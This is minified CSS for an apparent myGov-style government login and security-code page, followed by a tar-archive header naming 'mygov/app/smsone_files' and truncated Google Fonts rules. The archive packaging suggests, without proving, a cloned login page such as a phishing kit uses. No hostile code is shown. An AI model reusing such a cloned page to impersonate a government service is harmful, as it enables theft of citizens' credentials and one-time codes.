#security-codes-info,.unauth #security-codes-info{font-size:16px;font-size:1rem;border:0;margin:0;padding:0;background-color:unset;color:#000}.wrapper-mapwap .hasError,#inner-content .hasError,.unauth .hasError{margin:0 0 8px;margin:0 0 .5rem;border-left:none;padding-left:0}.wrapper-mapwap .hasError .form-helper-message,#inner-content .hasError .form-helper-message,.unauth .hasError .form-helper-message{font-size:14px;font-size:.875rem;padding-left:22px;padding-left:1.375rem;font-weight:500;position:relative}.wrapper-mapwap .hasError .form-helper-message::after,#inner-content .hasError .form-helper-message::after,.unauth .hasError .form-helper-message::after{height:16px;height:1rem;width:16px;width:1rem;min-width:16px;min-width:1rem;top:2px;top:.125rem;content:"";background-image:url("../icons/inline-error-icon.svg");background-size:contain;display:block;position:absolute;left:0}.wrapper-mapwap .hasError p,#inner-content .hasError p,.unauth .hasError p{line-height:1.14286;margin-top:0}.wrapper-mapwap .hasError span.hasError p,#inner-content .hasError span.hasError p,.unauth .hasError span.hasError p{margin-top:0}.wrapper-mapwap .digital-id-login-option-container,#inner-content .digital-id-login-option-container,.unauth .digital-id-login-option-container{background-color:unset;border:0;margin-top:0;overflow:unset}.wrapper-mapwap .digital-id-login-option-container .inner-options,#inner-content .digital-id-login-option-container .inner-options,.unauth .digital-id-login-option-container .inner-options{margin-left:0;margin-right:0;padding-bottom:0}.wrapper-mapwap .digital-id-login-option-container .external-links-zone,#inner-content .digital-id-login-option-container .external-links-zone,.unauth .digital-id-login-option-container .external-links-zone{margin-top:0}.wrapper-mapwap .create-account-text,.wrapper-mapwap .create-account-link,#inner-content .create-account-text,#inner-content .create-account-link,.unauth .create-account-text,.unauth .create-account-link{font-size:16px;font-size:1rem}.wrapper-mapwap .create-account-text,#inner-content .create-account-text,.unauth .create-account-text{padding-left:25px;padding-left:1.5625rem;margin-top:24px;margin-top:1.5rem;margin-bottom:48px;margin-bottom:3rem;line-height:1.5;position:relative}.wrapper-mapwap .create-account-text:before,#inner-content .create-account-text:before,.unauth .create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/smsone_files/css000064400000037222151676702570011714 0ustar00/* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: 